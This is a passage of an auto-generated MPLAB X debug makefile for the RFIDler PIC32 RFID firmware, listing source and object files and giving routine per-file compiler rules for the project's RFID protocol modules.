OBJECTFILES_QUOTED_IF_SPACED=${OBJECTDIR}/_ext/1209914024/FSIO.o ${OBJECTDIR}/_ext/1209914024/SD-SPI.o ${OBJECTDIR}/_ext/1019771169/SClib.o ${OBJECTDIR}/_ext/1019771169/SCpic32.o ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o ${OBJECTDIR}/_ext/186742988/usb_device.o ${OBJECTDIR}/src/indala.o ${OBJECTDIR}/src/main.o ${OBJECTDIR}/src/psk.o ${OBJECTDIR}/src/usb_descriptors.o ${OBJECTDIR}/src/util.o ${OBJECTDIR}/src/emulate.o ${OBJECTDIR}/src/ask.o ${OBJECTDIR}/src/fsk.o ${OBJECTDIR}/src/clock.o ${OBJECTDIR}/src/rwd.o ${OBJECTDIR}/src/detect.o ${OBJECTDIR}/src/hitagcrypto.o ${OBJECTDIR}/src/wiegand.o ${OBJECTDIR}/src/comms.o ${OBJECTDIR}/src/nvm.o ${OBJECTDIR}/src/mcp414x.o ${OBJECTDIR}/src/spi.o ${OBJECTDIR}/src/uart3.o ${OBJECTDIR}/src/tags.o ${OBJECTDIR}/src/unique.o ${OBJECTDIR}/src/led.o ${OBJECTDIR}/src/em.o ${OBJECTDIR}/src/hid.o ${OBJECTDIR}/src/read.o ${OBJECTDIR}/src/isr.o ${OBJECTDIR}/src/auto.o ${OBJECTDIR}/src/fdxb.o ${OBJECTDIR}/src/hitag.o ${OBJECTDIR}/src/uid.o ${OBJECTDIR}/src/login.o ${OBJECTDIR}/src/write.o ${OBJECTDIR}/src/auth.o ${OBJECTDIR}/src/q5.o ${OBJECTDIR}/src/vtag.o ${OBJECTDIR}/src/config.o ${OBJECTDIR}/src/select.o ${OBJECTDIR}/src/sdcard.o ${OBJECTDIR}/src/debug_pins.o ${OBJECTDIR}/src/awid.o ${OBJECTDIR}/src/analogue.o ${OBJECTDIR}/src/iso7816.o ${OBJECTDIR}/src/t55x7.o ${OBJECTDIR}/src/sniff.o ${OBJECTDIR}/src/tamagotchi.o ${OBJECTDIR}/src/hdx.o ${OBJECTDIR}/src/hitag2crack.o ${OBJECTDIR}/src/paxton.o
POSSIBLE_DEPFILES=${OBJECTDIR}/_ext/1209914024/FSIO.o.d ${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d ${OBJECTDIR}/_ext/1019771169/SClib.o.d ${OBJECTDIR}/_ext/1019771169/SCpic32.o.d ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d ${OBJECTDIR}/_ext/186742988/usb_device.o.d ${OBJECTDIR}/src/indala.o.d ${OBJECTDIR}/src/main.o.d ${OBJECTDIR}/src/psk.o.d ${OBJECTDIR}/src/usb_descriptors.o.d ${OBJECTDIR}/src/util.o.d ${OBJECTDIR}/src/emulate.o.d ${OBJECTDIR}/src/ask.o.d ${OBJECTDIR}/src/fsk.o.d ${OBJECTDIR}/src/clock.o.d ${OBJECTDIR}/src/rwd.o.d ${OBJECTDIR}/src/detect.o.d ${OBJECTDIR}/src/hitagcrypto.o.d ${OBJECTDIR}/src/wiegand.o.d ${OBJECTDIR}/src/comms.o.d ${OBJECTDIR}/src/nvm.o.d ${OBJECTDIR}/src/mcp414x.o.d ${OBJECTDIR}/src/spi.o.d ${OBJECTDIR}/src/uart3.o.d ${OBJECTDIR}/src/tags.o.d ${OBJECTDIR}/src/unique.o.d ${OBJECTDIR}/src/led.o.d ${OBJECTDIR}/src/em.o.d ${OBJECTDIR}/src/hid.o.d ${OBJECTDIR}/src/read.o.d ${OBJECTDIR}/src/isr.o.d ${OBJECTDIR}/src/auto.o.d ${OBJECTDIR}/src/fdxb.o.d ${OBJECTDIR}/src/hitag.o.d ${OBJECTDIR}/src/uid.o.d ${OBJECTDIR}/src/login.o.d ${OBJECTDIR}/src/write.o.d ${OBJECTDIR}/src/auth.o.d ${OBJECTDIR}/src/q5.o.d ${OBJECTDIR}/src/vtag.o.d ${OBJECTDIR}/src/config.o.d ${OBJECTDIR}/src/select.o.d ${OBJECTDIR}/src/sdcard.o.d ${OBJECTDIR}/src/debug_pins.o.d ${OBJECTDIR}/src/awid.o.d ${OBJECTDIR}/src/analogue.o.d ${OBJECTDIR}/src/iso7816.o.d ${OBJECTDIR}/src/t55x7.o.d ${OBJECTDIR}/src/sniff.o.d ${OBJECTDIR}/src/tamagotchi.o.d ${OBJECTDIR}/src/hdx.o.d ${OBJECTDIR}/src/hitag2crack.o.d ${OBJECTDIR}/src/paxton.o.d
# Object Files
OBJECTFILES=${OBJECTDIR}/_ext/1209914024/FSIO.o ${OBJECTDIR}/_ext/1209914024/SD-SPI.o ${OBJECTDIR}/_ext/1019771169/SClib.o ${OBJECTDIR}/_ext/1019771169/SCpic32.o ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o ${OBJECTDIR}/_ext/186742988/usb_device.o ${OBJECTDIR}/src/indala.o ${OBJECTDIR}/src/main.o ${OBJECTDIR}/src/psk.o ${OBJECTDIR}/src/usb_descriptors.o ${OBJECTDIR}/src/util.o ${OBJECTDIR}/src/emulate.o ${OBJECTDIR}/src/ask.o ${OBJECTDIR}/src/fsk.o ${OBJECTDIR}/src/clock.o ${OBJECTDIR}/src/rwd.o ${OBJECTDIR}/src/detect.o ${OBJECTDIR}/src/hitagcrypto.o ${OBJECTDIR}/src/wiegand.o ${OBJECTDIR}/src/comms.o ${OBJECTDIR}/src/nvm.o ${OBJECTDIR}/src/mcp414x.o ${OBJECTDIR}/src/spi.o ${OBJECTDIR}/src/uart3.o ${OBJECTDIR}/src/tags.o ${OBJECTDIR}/src/unique.o ${OBJECTDIR}/src/led.o ${OBJECTDIR}/src/em.o ${OBJECTDIR}/src/hid.o ${OBJECTDIR}/src/read.o ${OBJECTDIR}/src/isr.o ${OBJECTDIR}/src/auto.o ${OBJECTDIR}/src/fdxb.o ${OBJECTDIR}/src/hitag.o ${OBJECTDIR}/src/uid.o ${OBJECTDIR}/src/login.o ${OBJECTDIR}/src/write.o ${OBJECTDIR}/src/auth.o ${OBJECTDIR}/src/q5.o ${OBJECTDIR}/src/vtag.o ${OBJECTDIR}/src/config.o ${OBJECTDIR}/src/select.o ${OBJECTDIR}/src/sdcard.o ${OBJECTDIR}/src/debug_pins.o ${OBJECTDIR}/src/awid.o ${OBJECTDIR}/src/analogue.o ${OBJECTDIR}/src/iso7816.o ${OBJECTDIR}/src/t55x7.o ${OBJECTDIR}/src/sniff.o ${OBJECTDIR}/src/tamagotchi.o ${OBJECTDIR}/src/hdx.o ${OBJECTDIR}/src/hitag2crack.o ${OBJECTDIR}/src/paxton.o
# Source Files
SOURCEFILES=/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/FSIO.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/SD-SPI.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SClib.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SCpic32.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC Device Driver/usb_function_cdc.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c src/indala.c src/main.c src/psk.c src/usb_descriptors.c src/util.c src/emulate.c src/ask.c src/fsk.c src/clock.c src/rwd.c src/detect.c src/hitagcrypto.c src/wiegand.c src/comms.c src/nvm.c src/mcp414x.c src/spi.c src/uart3.c src/tags.c src/unique.c src/led.c src/em.c src/hid.c src/read.c src/isr.c src/auto.c src/fdxb.c src/hitag.c src/uid.c src/login.c src/write.c src/auth.c src/q5.c src/vtag.c src/config.c src/select.c src/sdcard.c src/debug_pins.c src/awid.c src/analogue.c src/iso7816.c src/t55x7.c src/sniff.c src/tamagotchi.c src/hdx.c src/hitag2crack.c src/paxton.c
CFLAGS=
ASFLAGS=
LDLIBSOPTIONS=
############# Tool locations ##########################################
# If you copy a project from one host to another, the path where the #
# compiler is installed may be different. #
# If you open this project with MPLAB X in the new host, this #
# makefile will be regenerated and the paths will be corrected. #
#######################################################################
# fixDeps replaces a bunch of sed/cat/printf statements that slow down the build
FIXDEPS=fixDeps
.build-conf: ${BUILD_SUBPROJECTS}
ifneq ($(INFORMATION_MESSAGE), )
@echo $(INFORMATION_MESSAGE)
endif
${MAKE} -f nbproject/Makefile-debug.mk dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}
MP_PROCESSOR_OPTION=32MX795F512L
MP_LINKER_FILE_OPTION=
# ------------------------------------------------------------------------------------
# Rules for buildStep: assemble
ifeq ($(TYPE_IMAGE), DEBUG_RUN)
else
endif
# ------------------------------------------------------------------------------------
# Rules for buildStep: assembleWithPreprocess
ifeq ($(TYPE_IMAGE), DEBUG_RUN)
else
endif
# ------------------------------------------------------------------------------------
# Rules for buildStep: compile
ifeq ($(TYPE_IMAGE), DEBUG_RUN)
${OBJECTDIR}/_ext/1209914024/FSIO.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD\ File\ System/FSIO.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/1209914024"
@${RM} ${OBJECTDIR}/_ext/1209914024/FSIO.o.d
@${RM} ${OBJECTDIR}/_ext/1209914024/FSIO.o
@${FIXDEPS} "${OBJECTDIR}/_ext/1209914024/FSIO.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/1209914024/FSIO.o.d" -o ${OBJECTDIR}/_ext/1209914024/FSIO.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/FSIO.c"
${OBJECTDIR}/_ext/1209914024/SD-SPI.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD\ File\ System/SD-SPI.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/1209914024"
@${RM} ${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d
@${RM} ${OBJECTDIR}/_ext/1209914024/SD-SPI.o
@${FIXDEPS} "${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d" -o ${OBJECTDIR}/_ext/1209914024/SD-SPI.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/SD-SPI.c"
${OBJECTDIR}/_ext/1019771169/SClib.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart\ Card/SClib.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/1019771169"
@${RM} ${OBJECTDIR}/_ext/1019771169/SClib.o.d
@${RM} ${OBJECTDIR}/_ext/1019771169/SClib.o
@${FIXDEPS} "${OBJECTDIR}/_ext/1019771169/SClib.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/1019771169/SClib.o.d" -o ${OBJECTDIR}/_ext/1019771169/SClib.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SClib.c"
${OBJECTDIR}/_ext/1019771169/SCpic32.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart\ Card/SCpic32.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/1019771169"
@${RM} ${OBJECTDIR}/_ext/1019771169/SCpic32.o.d
@${RM} ${OBJECTDIR}/_ext/1019771169/SCpic32.o
@${FIXDEPS} "${OBJECTDIR}/_ext/1019771169/SCpic32.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/1019771169/SCpic32.o.d" -o ${OBJECTDIR}/_ext/1019771169/SCpic32.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SCpic32.c"
${OBJECTDIR}/_ext/631258897/usb_function_cdc.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC\ Device\ Driver/usb_function_cdc.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/631258897"
@${RM} ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d
@${RM} ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o
@${FIXDEPS} "${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d" -o ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC Device Driver/usb_function_cdc.c"
${OBJECTDIR}/_ext/186742988/usb_device.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/186742988"
@${RM} ${OBJECTDIR}/_ext/186742988/usb_device.o.d
@${RM} ${OBJECTDIR}/_ext/186742988/usb_device.o
@${FIXDEPS} "${OBJECTDIR}/_ext/186742988/usb_device.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/186742988/usb_device.o.d" -o ${OBJECTDIR}/_ext/186742988/usb_device.o /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c
${OBJECTDIR}/src/indala.o: src/indala.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/indala.o.d
@${RM} ${OBJECTDIR}/src/indala.o
@${FIXDEPS} "${OBJECTDIR}/src/indala.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/indala.o.d" -o ${OBJECTDIR}/src/indala.o src/indala.c
${OBJECTDIR}/src/main.o: src/main.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/main.o.d
@${RM} ${OBJECTDIR}/src/main.o
@${FIXDEPS} "${OBJECTDIR}/src/main.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/main.o.d" -o ${OBJECTDIR}/src/main.o src/main.c
${OBJECTDIR}/src/psk.o: src/psk.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/psk.o.d
@${RM} ${OBJECTDIR}/src/psk.o
@${FIXDEPS} "${OBJECTDIR}/src/psk.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/psk.o.d" -o ${OBJECTDIR}/src/psk.o src/psk.c
${OBJECTDIR}/src/usb_descriptors.o: src/usb_descriptors.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/usb_descriptors.o.d
@${RM} ${OBJECTDIR}/src/usb_descriptors.o
@${FIXDEPS} "${OBJECTDIR}/src/usb_descriptors.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/usb_descriptors.o.d" -o ${OBJECTDIR}/src/usb_descriptors.o src/usb_descriptors.c
${OBJECTDIR}/src/util.o: src/util.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/util.o.d
@${RM} ${OBJECTDIR}/src/util.o
@${FIXDEPS} "${OBJECTDIR}/src/util.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/util.o.d" -o ${OBJECTDIR}/src/util.o src/util.c
${OBJECTDIR}/src/emulate.o: src/emulate.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/emulate.o.d
@${RM} ${OBJECTDIR}/src/emulate.o
@${FIXDEPS} "${OBJECTDIR}/src/emulate.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/emulate.o.d" -o ${OBJECTDIR}/src/emulate.o src/emulate.c
${OBJECTDIR}/src/ask.o: src/ask.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/ask.o.d
@${RM} ${OBJECTDIR}/src/ask.o
@${FIXDEPS} "${OBJECTDIR}/src/ask.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/ask.o.d" -o ${OBJECTDIR}/src/ask.o src/ask.c
${OBJECTDIR}/src/fsk.o: src/fsk.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/fsk.o.d
@${RM} ${OBJECTDIR}/src/fsk.o
@${FIXDEPS} "${OBJECTDIR}/src/fsk.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/fsk.o.d" -o ${OBJECTDIR}/src/fsk.o src/fsk.c
${OBJECTDIR}/src/clock.o: src/clock.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/clock.o.d
@${RM} ${OBJECTDIR}/src/clock.o
@${FIXDEPS} "${OBJECTDIR}/src/clock.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/clock.o.d" -o ${OBJECTDIR}/src/clock.o src/clock.c
${OBJECTDIR}/src/rwd.o: src/rwd.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/rwd.o.d
@${RM} ${OBJECTDIR}/src/rwd.o
@${FIXDEPS} "${OBJECTDIR}/src/rwd.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/rwd.o.d" -o ${OBJECTDIR}/src/rwd.o src/rwd.c
${OBJECTDIR}/src/detect.o: src/detect.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/detect.o.d
@${RM} ${OBJECTDIR}/src/detect.o
@${FIXDEPS} "${OBJECTDIR}/src/detect.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/detect.o.d" -o ${OBJECTDIR}/src/detect.o src/detect.c
${OBJECTDIR}/src/hitagcrypto.o: src/hitagcrypto.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hitagcrypto.o.d
@${RM} ${OBJECTDIR}/src/hitagcrypto.o
@${FIXDEPS} "${OBJECTDIR}/src/hitagcrypto.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hitagcrypto.o.d" -o ${OBJECTDIR}/src/hitagcrypto.o src/hitagcrypto.c
